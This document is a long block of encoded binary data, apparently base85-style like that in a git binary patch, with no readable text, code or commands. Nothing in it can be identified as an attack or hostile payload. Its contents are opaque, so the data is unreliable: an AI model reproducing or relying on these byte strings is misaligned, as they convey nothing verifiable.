zgPypxz?PBj7k%4f{?By{)LR0Bqm|10t+3bVealMu1J^&E=a8YT&Pm<<2-9=rhQKf1=ziDzxbu>B5?lB9oDQ+yO^%Eje4@14Iw41Ob1YJwt z2HpW!#nxe7EG;TsEa)^^{(~Axw~Y=*grBj~InZ!FQZ};dc(msn%Wbfse6(F3DsHjW1z9 zKuWdkM^iM`04~1N>g9t^mtw(?E-%#b-ob*N^Ch0m5UEjF4+%dgp8EWfqS*HEP=r z?C3trSU!N;3Xgn7H#PAXI8hfF#nZ=Sje5>nIlB7?c&ebxh$L7hHkcc-+YKkDx8x4DOBD&U`Zb~4*3CQOg;0sEGkpk7b7Ls(k)^?9A!s# z4PAZ?-)6z#(d+}dymqvA^m*+|rx3vBJ+o*-ThniHkoNS~?M59NGmGaE8>|?Qw%v9O z{m)z%o)28bU(k@k)oc`FkJB)f_j_Tl{(P8|TbBy6_)tyRDYxUpO_C2`Ta_>2LdDgm zhnv{!LboWn0Wl@o-u`8lyq_%J-+8^e1%BN8Lv8Na4oOK_ZgkZZNMJf{Gqh|iHmR}$ zF?UQjs1!f9DLrTJ`+uM$6$u99b8b4@fM=;<7Bgn*$&9~K)R$PDcri^xG}D!6QbJjY z2j;;)8SU#HCOAU{8dsN(5Ov57+2#|n3VLW?>vS0#5EOoE{`BX{(d!F^!|5-8c`^t(+RbjlPfJ?@`43u(L7)SCIX>01dqQ?W3JZDX7Cj?wC%e8~a#C zaOjq;-_v06mtNZZ4Lp@-0sG}E_@<}2QpC?wTsh%XZ0h?qQ=Mzs`Gl%f&x}3lZ2V*U z@W)-9V?YzV@$F4sB)2#@5Q&-te*F3rFDIk6J_h6HeoJH;W;?2~wxGMCV$|rKI;Z=Cs|7`m(pLRtO z<>mQ3w7aFfR&Vlh{ez{<5;sasBwk64BQP8mRW{RyFN=Es*=9K|HF6Zyb&(cLj{JTo zI|kha8$99AE;Xg<`;5=BI@kbU>I_!EoH2{#rt2O4n|0?+)%oso!!TmI*oEu^mhPGj zJ&nb73c+7C9HI#=xbU4x>X8+_q&yjMYks@E7o=Kgnw*1!tOw1E6~+1ScwkL1XZL>7 zHG||l0d`{!9*Ijo`?7Ma}9g6PylpQA>d&u^OFXv|=BSH$VZEWrG1_IwV(V4&KC54P+rv+9N zs_%HXFj@>}2MdZvf-*W2>8>%1Lr~h4ibrMNwoRDgsDU4Zm7e1oz`d1`c&E9dE5nWW zwf)$VD2@zu-oMieW8$5r2g{Gl^>wa=`=)@B=Q zCpKM{u*9SZ!UW<~KbvADtoZrcoix1qTKHTU!UqX9{C*vrc1@Ojiy3h3d+TxQ^gtEp z+nj!XG4w#PQrE}tAfph#sU;vz%rxho?5+CkBjFcpg?Fw-CqiPE1c+z1&{ODd-&IYn z+oH8K3825@fBIjx2P^#YxlOvC_5BHu`?z>pk~gN7Y|vOTk`YaiUO5!_dW#BefQ~$6 zNHU*32nxR~bG)z*JH7j`(nPNiY;bMb{}+_j0kJw?X0AyZu!9y@@hL45mgO$uqt3XN zukuZ-58^jo=jgE?6goh-u(HYm^5%7l5#Dm#7G*P=KRETKa|ic=Ft9{Pw<5_0&__{LpB1Vo@p3pgl|K2?|5>$0zK9?lYPBExc6MuKj*Le3&I4-H*G{C-CCn65Eiu)P{2|i z-|mF+J5`WOuS$->B&ZP~o_nDT--z-r=(4D1qh~3Emyzs#`uMmkRNn=~CP3?*i4+9U zTTs}miwvD~ndNo}so@5Ys|Z`YbDOZ0(@g}R`-9FT|AJB{ zegJW|LN)8A8AU0M)@r2=Ut<|k7Cohz(vjme+|ag9Uf4j#{0Nj(R|Ks!ay=O! zKj!e+qO!kKf6wL3Nbl|gAbzkOYds%+3?x{5;WWuPTHwDXltqz!0Un&{1+aX!44e2t za89@8Ho@>R($1?s!iqNkDms&70~MWlpI|;oR@lYHn4&qk!p1?Ze?b7mk3wH=@{7)o zOxc!0>}6XtekamEiY9ghuPg;9ZX_4DIWqoJf_%O8s@79{QC%=8>MCLHDq0_o$QWWa zRja0kUcb@veRuEc;;p`S1V#kX=NpU($%QM)Ry`;oCXGbu1wt9pZgJIx)Y z_VA|88S)^#^yvE+d^Oso%rz(#mch?C%I#0=w@jI3QP30fDsm$O`;4G&T*Pij>;bZ$ zV%qFZtwN@h!2^e2IG^yFB*|hU$L~MZx4~tQUr93)1O<_%Ng_(gGh##xUks!jGNV7lqacRpNy2>$*qMvq}gF#;Pcw5~|3pe@HFCo&s{jKuyRhz>SKh zZz+B&RZUTkUuOR&s6Qpq#m_^JMQrypEqP3sP{oD(4OARGi}XP1qHzpoW%B!oByqQ1 z2c|NykJKP5j-3$YcBp(73(sMlwn|z+W5IeejoDvN`$0$iTAg#axdm7pGQC<}a?J!_ zn$%z%FI+W!2G>XcC4Jf4Z*VV#UfQ0}lkG%4bQ-Wj7g49g3QmBpr2Sy9**cEAJDlXu z{rh%j+jN|G)f#u~W%#wOhMgt_v)U5kfs$lwG4-Ex44Rv8R4p)`p>*D)tpJPh^XjQc zWj)9+2moEc<9Hb>h$#}$I7VVv!3~9BhO|v(> zpO6Z~Nb`lG&itkpsp&F@&_gprJ1$|AZBSr$g@O4!ui!*GJuP}Zfpo1(y-SS2H^6s> z{tB+ZlMP=c$AR!bXT3DrHVv0~=6iWgD%(l=U2^>`nf?9yZr{f<(N9ZtOq?+mzG*-m zvd>&q0Py9#(0`r`)R`n()Q1A;sUjVE`+AB)iiN@fu!RG#dV>*m+lh%8rgZgE~qbc6;6YN~0649zijMxm(%gMOjUkpO_NnZ308(=A z8_1?sbT6}2?`jk+fFa#0M;cb|v~S$`_$#pzSL<-dZt{N^st)XuG$U0Q(GE78^dScV zw~LfE-qvcq2dGQ=$bhEv{B#pfEdg&6C$!K;K0@-2-a0~r2IGekDzk4dAZ|km+aZDd zFJ26&v4tV_*7)`$H+h4MYO z%RFUMm0@KtWWg*YbTmQxPN{)CoP-ly)Fj@#WMI--Dj_iPQ{NpR*#6w-jY6SPB%YlE zKxLQ0AoeQ3HPC=O-T<*bYOtDt|@0o9U%e4Pw+tlbg!qkmxX}kD`?CHZIL(QI9Vo%`^j%{ELwy z{rIh|3(clVe{*yZ|7w%X;LzjqW-VKiFLL&sgO}1a8`xy)WS1`|^2~pW?-O0$b@!)H zYTv94g8P!T>uFx38pM7*zzGCeubz2-2tIK0|EjvgC$V{sLb=S>#i*zgKYgdb0TlBF z$n}!r+WdGEB$8F{kG-lXgn3G)mV5yUoj{LJX4UGz23io~SwB2iC{(}Ua!|UeKP9CA z$|{6((Twx;h?T;U?0W|I zvWSIH8~Xx-(wn_ACD-hN1@uXUkcQ<58+F;P1PuH70YndfBVG#y{$~|%HKGuy4ju5T z<5@9r(<3s0Hm^P!a6d~?rxuBX+3V!+7c>=p6O1wGN=HYHW*b~++KJ!`v`a#p zmmgi;?&ZvH=Dafr#p>~2k(ltiRlwd@#uR=nH;()m`aSu7aF=t8xudADMU)J}Rr@3W zjQ4)%f<4ULwZgX zqn-G#CUo1t#~D>cuPzf%hj0qPg6C8K;c@$!Kf5Uf)3{@>YEduCG<74)mez~RkFB>% zacaTx5UiTq6pY&KJ=5#CBViv`SokwTkQM!bOA44_?QBV^zy1wG)fB-RlVwwK=V2|bWH z8eB#_)-6#{b$F=?M5H)j`#fuNe?W(sWY#hLu$ib9zmwlGXD8dhZ`)WBKx6PEUjm?k zFvZ8_Fhxy78b6;T!+1M><&OjY=oP?K9kH5T>l=692K;<{Zh3&8tp4hF)n}({vpV)& zUjT-7N5;zZV`0JV%EsbNZ)75R1bTpx8)`<)&vjQ$(0-QwNeFV!{uWl3h#ZbB9@~#kas!ydZ@rHGsw+9eB*)Fk`i$)j9v^Q{T3LU_^&@d*(?uD zY(>Wg%$zeRMAD?9-?|D~&t!rpeQ^VCSX+x8Fid><*@P~)*G_WugO12BmKYVxmoUsc z`p}W1>=(C`^c31-Tur_=*|_pr+sRNjB}CjWd~A5T2%Q>d;_AD|>@$3bWQIQp%gK+i zy~P|$Og^+*p1ATR0<{sZvSKbU$FMCuu`&#F9!diH@6(SHkE1VQeG%b zu7=OO#zm7ok;N64AExOQ_d&t6+)cy@vF-!d?c({f^HZJL1-I}tFj{HQ_{_$|*WOd} zw~~bG5^*TIKnC;rc_8$YAW?k_miRCqa&N(f_5pWAOZbm~own>7r040+{bF#BeMTHs z8hcnjZ61jb_M8sOj(8Mg6)aau*db_IyY{q`9S61fwbfv?`n;2T(?Ps)W(z^I+a}UK zB-Wh@z9N-TIN{ALNM66JmQQ+-u{l_-+o`aj+tTn~rjea+0YKm$3uN1Je?hoIKs`yU zMNS4hLO$9>Vir(5m(+d%W-fM^Fxp^pv#s6b-Sl=-Y((~uyR6vJ+I)l1KbDYRF|(Zb z!MGtE)=O0SZ+a{XIa4ygQX!j|;`pbp!KkjK#BhmMM?ArqMYFg#(Q7IPYy8RGS1uq&`sYWhKOjnJ={`NKCv(Pb7(`1e zrFjdj&*G&{33gVR%D{tVVFI9o_8d316VdtT5!OYm)07vEcfPbPb+}B-QPGu+*2q;= zJH8))Fso-w;oZfD(DT}tnkna6k<-fKe6)W=QrRf-{!AR}#~+#04l`6U1@%HJ$gF=C zenU(_!1xALIw-ZFYB?f>aW3La@T65k?*UVA>cBBm zre~j(SC(J!D2qLBy&)$ujaOkfv)$n zCnXNrISw8jZo5xaJeozH9jN6a2<_67;CwG>6j$cJwaJn=dpEP|)8CG-SA3LgMMUSf zHD89>=tdDLfha-{BHFDf|AQMPh?RuFX*m=*0mwx3xl5j?c%S>gfOKJm5wR~6-gS?! z3?7xAcmSst+w5BKDFkkCm!Z0F`%rNR@R5XwZq9OSgQUQ`jKKu-#M<3{%ktwD{I-{X z7Ea5Rtu!!*b7+F#h0jLCf+xUmj^5Zn>uyck{)_=XDp1-U`=&_ zKi((tR%<$z{Rm-Vc;PC*w{(~x8XYlC;Vy>^gj7UDJ$f{p`AmQ^>A86V1>0bO>Uz~B zaidzd=>K9)k!H}lbh#0lEK+lU;0x?d0LM7l3cW9r8N=_V zj^vzal38ZA2L|HqN)`}H5u&2he0Jj5wE-mPGWXkZ1Hl&pPjyRZ>Y)E8LAUP zDgCP(qYr;pSsuJHEDe=O$!25aYIIjs|83195S9CO(tON)?Xv~Zpigt5Yi2uAd}iJS z-pu<_+ufIHTzg`TUlIa~RcQQYG=Y?vYx=V(<5Je89bPBlY{#qluB}TEYt=dGsc6#P z0I-^1@ki`z@;*A;xEP!`26Y(=dH;$k_Q`b1t?fL#EUPXJvhI%j5^p8^7-NTB5?!*a zbKSelBwwAf`;QB5T&SiM-xyihRDFsLzO-t^7&##1i4X4r;L z)mEhsv9L+6Ag>$cx-PrL;i24eowu=0c`>N#HXT2s-0)pV|B#d}nfp|Nd}}j>c`o}` z2$t)R)GQ}MdY~uOmnG%7Xo>9Y4@&PXKMLb-N7iRZ8_g}oD%AlF3tcPhKSGq7sX;3n zE(MwKPR2Cu0qV|kRz64{aYy)S^=N7+KL2{EV$zLtqNh=HqoKa(Dz`zTJ$dC&*}TuG z)0v)ozpY_j1&v}JF0|Ft>7g*B>iq*EgTjA$&62C55n=)x9oW!x8)|U7&I%plNqENq zFCLhY=j?yt*_UhR(wK;?@A|r`e|3gFxnaR#->4u4Ewmngv42(my%yiC5slDJqi?Qm zE&GyPTrf92h%)uJvvX@j3N&~e>TEI7od1dRaF4eW&bbk;PrYURG|WdO`yp(wz>AcP z<(G@W1dn#+7o6R@Iq*dg<=tzVyF}nZ0i)KdV=`gCEn#>4Qua7-l zU(mqxT0AgN4oTa{H9gDz%h9Jk+W-2fuLaIhUCRUH(JY;O2Hf0qfD1zOw;`W*n(rfd zdC_aTPvqG@kymR5RmlvTrUu9p`jy~2(Zmh(r{y-TH31ytzcgX*M}8bBsO$ko;GFh+RC=;$y;a1^!tXVM&uzvGE4dtn%09`|&6y6=12|VVG99(e z1xJB}cgf(3h)`%ml$RqZOPD}e*vwn=pJ+$!2>tyFm$ft4a>`7hj)beXN%a|%3zz-T zDWPBekAC%PTDCby-8U6j0+}Y(=iONs9XR()nit>fTt)?F#^F;SzeBFNfX@ew&TI(2AM z7v)ENDY&PSxX1ol2IJo}NZ5OvT{TI&+>>%?9^Lp3J`Q!_DK-QkCkR!y-jS9pJ!$@< zW^J#-_>F;19obG9f|%G3kJ=mq?UH{Q66ho`bkCs2Rh@Q6nj>=Zx#AeP%F6IqYts3o=^*cwW&DL^U!VNn39#`kGaZyVGd{-@J1?E0xKj?h5w)8Z?0 z@fm-V@LH=U6R^BP0SW(G-n9R7r5C+wc9)285rlDi&h3Nh{j(xD|7$zQ>i#>S0odIWzg~NKra5*SlN}{~6UhGk zkeJT(D5|2EuESSPGmlsJ?^WU)?Djv_>WAm&e}?BjeV)WyIM(%_iO2cOl}el?KJq$q z>%jg|5tMvmzCV$uy?6gOOnc^noezd;=6`t=7ZW&2@lVAoPS05$Cr$aE zCH*sR+%dlifn^&5ZQcBj<~IM=s*!E|c^a=_;#TBQhn^@a^0ofY%U}Co0G%IgV|mBG z@>+b>Lmd1P@EMQ=Z_SXI*5!#M{;s38VAFXxh-G9Xi zJ_59X_Q`~Ld3yZQ0fVj0C(6|SqXT0ePs{Irn?5QI=F^yoS1?%SnXG|s)`P$bhVr>V-*R%N4$FuD~#W9eNT!qTWFPsXF`Yu^HcqF za8l)|l=*qg*jYv9HT(FV6ePr~qE6tHwHKol&mH^6g@zv~F$Q0jOeAXOnR=ak5!>Y= zXd7uzt%K!tX}!+J)AZ&=LMFgTh0I2*Ubhh^I;y9;)d_ff_RF_dB^l}#01#S_G&;120#pEEhrYi)IsJ%B= zwJN0a{_2aw66k|GuRm6IY@-=HGb=90+AG5Wu3~$1Qo$0JV}+H!x@2(yA>-QGz#q*g zwDMk@&j$xKZ^N@2Ff(|qq&-$BCx1f9Oh8SPXCQJtJ-J||F|E*PF&Qa%)c6sG9?kw} z%CA3Ac7(cfHsrJxXS~ISYy?F1-Kf*oWoQWuLiwEqDE4?x1regTBo7g(>-U9Tb_CfP zSY0L(F;vzJNmV7BnWmV<&lxjY@@61NbdLZIDt+ybZgsWF2zZ3rgHVy|*5GgNUZ+?n z>4Dt?Zjc|)b(LA>|17Tmallnn7gp98t~zo+TAf)B5nfqu4(ZyhTa51Yl*k>(SfK8r z*V${V#foS;$w0R_nA2MA<|$L_hENZYd3CO~$KKJ^!($%NR0(8vRZcAvQ=^z4_w;jCV}G3$n2xb3B!N)H7-t`4)$*KFta zSB*@UB)FVJQn*YASjv;#%T;~Y@Y-GDa9th@8)HjA0CUVAsQsw=i=}s2Io8!|@;jE>^R`zoR=48B&~7Vsa~-ezC--!d945W=--sFCqF? ze>MP8UODX`XuXQ#-Rx#=AV0Vdy)x&r2NMm;(~iwJB6uce`XK9tL7p$T5%?M3D%9X; zCQ-51p~Zi4Hgm8Uh4+Vl|LmxvuB1BV?rZSv+Wl{u&?+l0AysouOq*RIC`R%0hIbJ} zkjDV+Ia)pbb8OKXzupY`70idXYdIWZlrDGxBxtsTheaORz--^ITPDz>6~m z6n{62h0)>7>Bf4*>I8P~D2l6C1p*&4zQUH|_r*ow;Yn60MMOB5;`@}IQGwcsgET*1 z^I>ezVqgVMQ$m3XWTQgxjL!v<=a1^UUUP+@FCH8KpDOX4{W0Uuj$zPA!&@d%hWcdO z?5@3tUgOV;!QI0He#4uH7re|UC;a_civr0@t@^R6867s(2X6#4Az#QGQ5uiT`VIM9 zgCbe19p)Xi;TTLYN4%Q)ATAU|qVePo$;#^)sXzO5{P$#droQuZ_d!$u%<0to7LLZ5A+nr|Pw zm4N7Xn7H{QzbGkMtQTRAP1b{~d`(!+u#!dXWmE_`2<>{|&@Fe1H1l}^0sQ@z9j2^o zEKq*rZg%^L5(l^T+lm|~vQ`d(646KU%GT9x;h%TMg0Dg8uacVo@R=?$|8nz`{*_)g zQ0O3;i!iYNHn>^F@z*Ld^jW*@9b5Y=cD?FNO`kD{%I~kH4n?T_SrEpHrk@ntmZ0F; zSBS9XjEKDkD}f})vGo$2N==KNOh^9LHq_xs=}$;Vm1h*opDN->>f9J=NkWfo8mY&t zrX~j6H(-H;?rLmjb6-O^&%{I7)22HS^t>5iM1Mhd{5COX)Idtv?>V;!8z7}hNB*dI zz+o7x4zU|sPyHvt7wv0jEKgmBgC=n2+F#Jd?#GTet~(9p%zC{vn+6NnT(gDs+W8)f zp(yT5uEAs-j#3FC45#U&eYpwKZZmEmi1%Y8Lmf%zfc3_YF3t|PUh90$@Ql<~;g3ZJ zLSCu1wJa3aMh}>HpfFgm?ryR>y0S@o{7J ziZRsF%YAKLxrG>}@BwJ~b+7Ql0#4A(@&-=b4x?zh*nJeg3o+DipkUm2O7b1v0aopWbQFJuE%TDF(6+QAtO zXoca`(fMqY??g|alHJTNC_cPU_HZUi8AxrxGC(3CTD<#C*7|(mZR%QH@+8ZNkK3n6 zoBqM0=i?@dGBW7z80GS!HWyMl?QVVRtYIwTvrw9aKNOK^#tk1GiX30v{rT2qGkT!S zPBY9j?ARv-uZ69Jip4o%{oY!80*YWhJomPXWKwh%b12?piKTdx43$_Km23U9UO#?a zfEwR&i$wqW8_0mO9X*oiXuz;sX!Hcwk+{bMkJ+;?d4^9x#0OP5a}c^|-l|XcuWP9& zBL-?q;8pMHf6Ryoxg(v|S@P-pdaX}(L~RsW|3?0@*egR2R#A^A9*u9oT)J($! zjQ;s68ho|&bxQHl+(gzyy82Mv=-~zSDKYekvV_)H49y7mHB+0F8AimX%Dok@LAu~N z^l82Db^zcYaX9y1kzRhJ0F&C$sbWW|Vh67`noA*dvn~_7w-W_|5dmAbALxK0!o;W{ zj~*@L`=}}%c|F&1uqDjXLV(X9n@9@p(C zX&UOpqg1^a#d5ZKJz-p0;RoGPO?tSZLH&m%3w&=#QbFO5Aw7v|>cr^HrN3R(DvI^= z%+%vwW|b6=N~u-z>!ciPg@V4!n15ILU5uE+*`R2eva6cKfNDEtT1ZK~xxW{@O`V`W zJA-MhJG8jpv^s=SIOgDyuPyuuk$YlR79EoG+m(F5Nf!}qQrj3qjrjj*)c^&UV? z(k-hhxf&2jOIH<@3cP^|GPLK@A|5Ze)KwA8rm_nt8TeTvcL&A&=gQ2j`UNzb8svU+ zN;^jvy^-V4lf9yPOWae8S1n}Bx-P9*C50(XYsiZu3&&%N7RT`;?>CQpT0+i2Rp-}ww%xsf^5WVqi3%APitW((%Id@B@2*MKS9 z*lgOBYmu-E?~N_b>#CUE)$^v9(LHF4Fs*IMRz_d6Cw{A&-F6e}HFpGso)o{Lbu2#? zV#{7)yAdBn1y*wuQK`x?LhmQ)EHnh{V)-AJi;;t@er2@TF1e&=2X!8%GJ85!T4cDe zq~^JEt`C@M`8L5G=~L$@&4Ysu28QimTzZNnAmG{epDSg8S;KlbOZEqR7$) z_Py9sNnSj%ZhoW*>#e?Gp-7p_UoOToWc^e(zfDcb8aFd=+v&Z@rFhem$2}19VY9vi zLzlnE2*+U8K22I3a;G9wUg{>aX5TXtJP>oabAerF@?nC(<8#3#tuZ+gMUI>}t;jOZ z8X?*f6iGIz6&JeiC8Zu&gXF06q>!OKe!RqQZ9uVDFMtp) z{D^oX{yG?>_8z6SX{X^`*G0y0_ zKJW^`wS?ad6T@jr%+@P!r|-#lDdI_k@0O>2HkMA6v?`<7htGc!#Th0F3Fx?3!!d5i z((2LL^ea8p3RB3^-Z8-ifoQ%SCY(El1O4xvs*cJ|6*wFEWC(=WOYd?znH>6dABWEK zvgL8O{shcZe9j~9<&nfEqfh@@c;gjr)?{w{zWL2Y%^+yM2E3#Y(LLN)`wvhEmM24m zLm8*E;gRQ7MB!uhJ%f)NRe0iP{+wQ`QurEf)Te5i=9;q@P;CfK=INQYQ!Ja-xeqD8 z43{~N+?PilrOxLwqEqkAV&E>cGo#EO>B)gj`VIi^8ou!j7m_~}#n{RFGyF&|OMe|% zKjqDDvi_PUep*kpDqgJNGJ4In%>Z)4$e#4F7TN-+#fY+c(twfA?%|}Vn>Az{83$v( z06Hyw*b9aJL#KTYpaCO`^t zWD5N?YgfG;x~2PNdrF_}T2*DnaJZ)4uDv+XHi)9R^Xkz3!6qHxi^234l%(#WZpPW1 zE~6y-bKCV}MWnw6WNC*1B?bqqQk8>cC*pUH*8#UE6lRU6r)$>0Ag?a4?e_`yS%*al z8+{W!_4kcQ?zA#TkO!y+qll-5JEL-~t+B8Gw#{&pYbQ@k>4(>sV8;$MI2K8pmqbPLr#6BzlFQ0&DBrg` z&cczvg+j0}!742+wl}&qF46(TQt1|d-cK*ZXUaK$p?xWt=42l~-GG~M{pC!nO;w z@2&b-wp?+$z(j1wb-VUWwMw_8V3jsnVv3Y?24&nR0XMdfH380bQ<+&mA167@jnHfZ zeAxGrgeAwi7D40Z$KUi}3rW5+{4CdB0jCVd;uoWl!j98{`#jGAGoe2j;Jd-h1$}}e zu9+g>qoKCk+GvSH?ct^mY!y$lP=9-X*nepGO_+DTf5Y@J$3<**@-N7EZl?L@b-Gs~ z9^G??NnQq|(6qO9)>XL~>io}KH5c>0dgh-nCH1?l0j>sjQ;W6G&C7~GRM~YTF76XF zVk!D7l!aj(>-yjrb2sI1SsB7|A4x;QO9`&VyIKDtDsNU8-yNw#bPv>{>6#6#xWbS- z>5Wd=1z+I}E1B=Brj;Dk`3|?WhzY%B9S*J&Cm65ceXz}vY*cuM)gcgr-^=7l%GWpu zMg>Dp85)2ydSuGw+(F7^0JWQm=^u3eBO=600dH?ku$Yog=oo<4#cr2mnd_!r<)_=2 z@g6}lnnLP}qUzjcBAe2Liuk@+ibilXC!CWM|Fi4#lPsA0474qDsD=oef4T)*hTNvQ zHmT(m5D7DmMJ7BJCKgU33t@UG+#q(64^vWuHW&yF*@yx88rX8oTKTr~cVeBVLN|sH z{$pYKw%(L-4z|oTeqI}goD#kw$V^S?t1=r2aU=x+gM9o!>!9F;Gy0s zknDhzzJp3a?ay*4UByfBSqXNY`H5-s`^c9Hte}o(jgSN+C(qWetcqN$e`4*6HgoUO zu_bFd+%g5$vx&s<2^U5Dm>X znU>+Y<9W6{nY~9IN`n7D~q1A(AEu z%Yf+5o{_Fd!Cgi2}eeT-*2 z2)WYx-f5YdDWK{zBMAQHZcRj^R@0)j(8f4@&i>8Jj@CWlOh*b|RvYWagM~-py>Po~ z!FV#JQ`yTGm8%P7A$}}vpRua|M=GxSNAC*TJ@l8= zcZ5!YHvwQ-Kb06DMC@rQZv?+2X(CL~zTib{81IXQYVHOcCPD~=y1}8Wx;AJ)Jmc&W zm*db=T5>LBzk203{|)ZEDMJscHnmg$$29V4UwYeNW76L0yrn|{IkE(Zkn7v zFGH%u%`~O@{W=P)1!-tFYJ)fsdMEWRsRZ$<1kZ)Y$z!NT1oYg+;}Il?3PR-tL%(+6 zPgP6)bZAbNe4$?tz>U7Z0~``X^C?KvOIifF&}yIx&@Y93-H6)bAPtN30_DM=X|*oD zjaRx-a=}RArk2+gpB$Zono!^;oWAWH<;Aywnr;yD6+4$OmuIWEoU&75f5g8W4Fs`wolJO=J$`V>R*&tAnsu7wy34)_FcP6}srfsBoxT|Eu??;a#K2W%Z9G|0t+i3M&WOjqXi3i&m}E z5JDVBl%0`vfE}KAb%BQNaw4ZjZHr2FL9gZp?Mkf9bUIjvGJ3jv$P5x{nN!CHLfAD` z(bF*eomgJN#mS%%TK#>Tcnqj^5>bk4$?O~`cd1sxf2t>&pilrxKVZMKeZ51Uk^O@^ z6~~p?tzK=CXF1U(p5$ex&8tkR(V}4pqnUBm%0N8-dM$h}U}Jz-?VUV%O&06rFA(OM z=f!Q4yXPVvx0)+&7h~tZ2!0E9L6@*-EE*gqQ} z&rl!xGlZx*ELiU@NU(``S1NpqL*P)@ZmTOYoY~~!`=NmPHuU%|_FG{$ZE@;ZE##c= zb#p*l6q?DR?awc@x9B_(8S9f`rotkQ!Z7Y{J&~dE6 ziEM`uIU%Y3evbKzFj;bT@rWW^tm=q+*My2h*_9yoJEV^<^etCc->0mUJnDJn?yYZ5 z2HanM*hG>jD@Bvz<5C{5hGIq%(b-F5^yWE3!fzL zpsN})>QfcHq>5ikaijSd&8~hry_6FBtHfC~zyN2r?(Le4unAtka+4$Iu~1``J=8BUbSu(2l`l*61Zf9hOhe;H9RK zOIj43@-@E@TjH%QQ2r3(;=SiPEEjXf9BTDk4#J*#2 ziI^6iPAX`}+MpGw%`w?1iw-<`j5*5p@*u^QZT}^-oO1!wt;J1DyQOvi-NAE?E2ci? zgbOuLOQ|&uW!|ca@qt}0c~IdrVT`I9j} zAEIWa%Hj92OpC0%)w$2_wB>~~diwB>YFjqi+7j^ppsANx;}-fgSGsnzZOHAs#+^f* z3djQWn+-aluW)CHu79UlVzL`%iX*}vPYXiI?<>Sw71th{W$BY~lnA&Zb+JoXN#_(r z$GTG#RZ{+>-9s-L^znJ+RzpX;d2Y^=Q&*sBe(9a+{LR;?)m3BBefE*&Bmdg2*Emti zc;qeLeQc*B>DV*X!!PW>$g=G@g$)7bP4pw#%}E28L_3u%2S2)$CUcFpo5Vxz6X~5M zUINDw;}12KW=)jzhy|!fhmK9@+x~ME*FQ?+#MSsGtIB5jhEck)+$3fjo*V|j#09f+ zEstylKT(R!(!V!L=jdLt=B%t&W?HjY(T&-amI7Ge-M`j-MgU-8P`ZR$c1`b*F4(xj z&41DtbBe9-nYi6NYVzh4=493%gxh$+-AHRmf+bY@vAX-@=1#K2>7F&aeZ|hv)@4Ct zTJedq0&1BtJwLBco4$fRJPAFCG2CLO=aI=Nd`B*)S<5PoEarl;5-Q**a*Na)t@;i= z70>@kor{&}P**2OvRp-6^j825MK*MN{FB|E1B5RF?SxG}0X;uRl6dMa(RGa(8sD*b;KTZwu z1Nex%81M)1CkguVI-R8S%I$a($SGy1Op0mrg@yr|tV|iF)fi z+K(Lh5gbR5Zo=9cUI+bqM%bWX@b{a~Z9E0@DQ)iG>kHZwm(Avi?VA&M7@EByEK+Zs zMjKpx^5}k-%D(a#Bw#S=n|v|2(Xj(UY3j^!an!7U_No8L9017R4b7rD-XXWWPU zvqJ?BQct|Q08P=b)ya2h*sas3_y33&k%@$@t2)k1%suD1eBpZb)kq)=O+o>Ax+)d) z$(j<*Ug-C~RX+{wfSZ^6UlUM*elT$hhk5@2>^1+6gykkmZ)40Z)djwdzZX!l zgS9;Bi#_vDK#p3p*t(1+`nycT^)Dt6xwhG4v%u39|XbrJoo%lC)$UQ#bM_O>_J%x zZIs{VN^hlle*oa-V`k9x&pbh)mxO4(H>iKQq_tf8@PhB4De|ve|IY+XGm3uzi`J7X zDgSje;ZSI*&#E_On&VG`k5>Af#IXNWLt6Cz^D?kOk$tn&I_?~p|6gG@40qVz(d7=5 zCO`xs$f30^b+9fy|1}|CxV;C~g<}($H9>9+&y8?N(hU)#`4}fx?zh~oUhCwa* zGY-oT?e_FnA0NW&-2Uywca2wYQ6s-efE6||_4UMJ;v|k@43o2HfAuK zwsfR=zYJKdS?cHjw}2gO6A=lnfRDsi!Jzjki7ibUJju_0Ps>mv%_s3g>*|WK6^_pW zq!QQRXdV7vPrAZe-V0Rz0Ju}nb!D3$n;9zxb4fbHM0R_BO%rCG&Fhbz^>e#Zn6Nc# zbY6@PMCd!6-|ep;9(tUnt?*W-HJ>;Vu1wbnnd0k zj!0SW=k`#&dI{!9Zp|}qlaD6FeRKuh0SkO<>e>Zu4-J%_#G`Wc1tp5IW}Z;Dk*m3g zn@fko)$=dbftI!7vi64WkvTtdJoTRr;^;GM)#PHDE*cx^r9WWSp~^kYYdKAh$T3#smgXF z2z}`jQRvb&T2d%+h;V|5X0liE_4!K4^?_+;ztz$_OE2))Npa@prwiUA$nX)$d!0tg zE5zDSM8MhZNp!W0OW6%cl*39K1CU-~Lq*0V-R=?_eD#nFI^+CGjdUsuo)10isKgU7 zKD`FX$tlb3z$Q6Tyh7rNvc@LIsoqrt;qurf!bC2{=2<~1wmg3R{Wabl)vY0rx?NTK zNj>TuRE11RBRwzk)U1yA0gjHnSM}SEi0{J=bl&lC(jr)#((O2q*%jQXtx58F8zX*S3;)^hL z#wV#(9ni5HW=%qvA`b8Jbf)F8CV@6SF4fwi&_GP>vw~1%v*`K-D-q5e{j6_p!sPOV z`%A6_h%VaQ^S~Rw%mIZ18CVFin%NcCW8b_BQIT&C!OMRjkU2dvj{Isq{IHhr*yZfD zs@+uI$*K&X@We8FE3Lq@ARpo6EU9I0@kEKBiPglwnS=QyJH;+6Hc$`Q4&6pt=m7y-@uWMAS~M-n-cj+Z^&TXV=M2yqA5yZhDe__ z*|pO;wU11l(u}($Rq;?2(uS7y{U+a_VhT0=N$0M-%otj(v&n&5Jxyfxc@GMd&?VWa zbPLT^wQiiyCHl26Ob_yuaosqcLg}Pvjx^^uveY^?d$Zm7(^I@@*FB9)g{F6p3~Zow z`nqZ#yRuwaOGNbWEtXLP_Q?5;y6aCq^lI?HKlwvZ9vfC1It^_F2YB3Btw`L+4a$n( zhet847DqYV0;V|{92zW|(SmViUz+w4hKbAKLk}f|tMaj=cJ!7UItu%X;xMwhMN4rg zN@~xzuZ8B4>F6gi68A_4kpd3vUa!-_BSNK*-;hpX^$r4@*B6pwcKCPVa>o%*Sr`;9 z(IQ;w1RO9SrbV9f+oXIlXg=uw0W=95TB;(fKVHkscYvnHO$Lp$BiJQ7rzP4y+sDG2 zk4hyTj0|={mCw<%1%1d!7Vdvhtz*Pzr%hDFg|pnkh)$@xnk$ndvD~y08bt^v!0tP9 zB2-?gbmCQg6Ss=SC%WFMi0)5RV2@1QkSz$eamiCtL+6oZbSsdJ%v7lHT7kYx`7$0F zKqH~YumQ(0k`|6sD`5!Gq%{`tQ7zlUJR7^zy;3Z!y~HFW^=gx^-Jbl)afNWHfcqGhLJXZvOdQo1$WQT>m4)$bKVkUh?9-N(hYsm1 